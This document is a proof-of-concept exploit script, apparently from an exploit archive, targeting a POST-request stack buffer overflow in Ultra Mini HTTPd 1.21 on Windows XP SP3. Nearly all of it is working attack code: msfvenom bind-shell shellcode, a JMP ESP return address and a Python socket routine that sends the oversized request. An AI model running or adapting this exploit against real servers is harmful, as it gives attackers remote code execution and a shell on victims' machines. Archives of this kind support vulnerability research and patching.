Ultra Mini HTTPd 1.21 - 'POST' Remote Stack Buffer Overflow (1)

# Exploit Title: Ultra Mini HTTPD stack buffer overflow POST request
# Date: 16 Feb 2014
# Exploit Author: Sumit
# Vendor Homepage: http://www.picolix.jp/
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Version: 1.21
# Tested on: Windows XP Professional SP3
#
# Description:
# A buffer overflow is triggered when requesting a very long url in POST request
#

import socket

shellcode = ( # msfvenom windows/shell_bind_tcp -b '\x00\x09\x0a\x0b\x0c\x0d\x20'
"\xd9\xea\xba\x03\xc9\x19\xa6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x56\x31\x50\x18\x83\xe8\xfc\x03\x50\x17\x2b\xec\x5a" +
"\xff\x22\x0f\xa3\xff\x54\x99\x46\xce\x46\xfd\x03\x62\x57" +
"\x75\x41\x8e\x1c\xdb\x72\x05\x50\xf4\x75\xae\xdf\x22\xbb" +
"\x2f\xee\xea\x17\xf3\x70\x97\x65\x27\x53\xa6\xa5\x3a\x92" +
"\xef\xd8\xb4\xc6\xb8\x97\x66\xf7\xcd\xea\xba\xf6\x01\x61" +
"\x82\x80\x24\xb6\x76\x3b\x26\xe7\x26\x30\x60\x1f\x4d\x1e" +
"\x51\x1e\x82\x7c\xad\x69\xaf\xb7\x45\x68\x79\x86\xa6\x5a" +
"\x45\x45\x99\x52\x48\x97\xdd\x55\xb2\xe2\x15\xa6\x4f\xf5" +
"\xed\xd4\x8b\x70\xf0\x7f\x58\x22\xd0\x7e\x8d\xb5\x93\x8d" +
"\x7a\xb1\xfc\x91\x7d\x16\x77\xad\xf6\x99\x58\x27\x4c\xbe" +
"\x7c\x63\x17\xdf\x25\xc9\xf6\xe0\x36\xb5\xa7\x44\x3c\x54" +
"\xbc\xff\x1f\x31\x71\x32\xa0\xc1\x1d\x45\xd3\xf3\x82\xfd" +
"\x7b\xb8\x4b\xd8\x7c\xbf\x66\x9c\x13\x3e\x88\xdd\x3a\x85" +
"\xdc\x8d\x54\x2c\x5c\x46\xa5\xd1\x89\xc9\xf5\x7d\x61\xaa" +
"\xa5\x3d\xd1\x42\xac\xb1\x0e\x72\xcf\x1b\x39\xb4\x01\x7f" +
"\x6a\x53\x60\x7f\x9d\xff\xed\x99\xf7\xef\xbb\x32\x6f\xd2" +
"\x9f\x8a\x08\x2d\xca\xa6\x81\xb9\x42\xa1\x15\xc5\x52\xe7" +
"\x36\x6a\xfa\x60\xcc\x60\x3f\x90\xd3\xac\x17\xdb\xec\x27" +
"\xed\xb5\xbf\xd6\xf2\x9f\x57\x7a\x60\x44\xa7\xf5\x99\xd3" +
"\xf0\x52\x6f\x2a\x94\x4e\xd6\x84\x8a\x92\x8e\xef\x0e\x49" +
"\x73\xf1\x8f\x1c\xcf\xd5\x9f\xd8\xd0\x51\xcb\xb4\x86\x0f" +
"\xa5\x72\x71\xfe\x1f\x2d\x2e\xa8\xf7\xa8\x1c\x6b\x81\xb4" +
"\x48\x1d\x6d\x04\x25\x58\x92\xa9\xa1\x6c\xeb\xd7\x51\x92" +
"\x26\x5c\x61\xd9\x6a\xf5\xea\x84\xff\x47\x77\x37\x2a\x8b" +
"\x8e\xb4\xde\x74\x75\xa4\xab\x71\x31\x62\x40\x08\x2a\x07" +
"\x66\xbf\x4b\x02" )

EIP = '\x53\x93\x42\x7E' # 7E429353 JMP ESP user.dll
payload = 'A'* 5438 + EIP + '\x90'*50 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80))
buf = "POST / %s HTTP/1.1\r\nHost:127.0.0.1\r\n\r\n" % (payload)

s.send(buf)
s.close()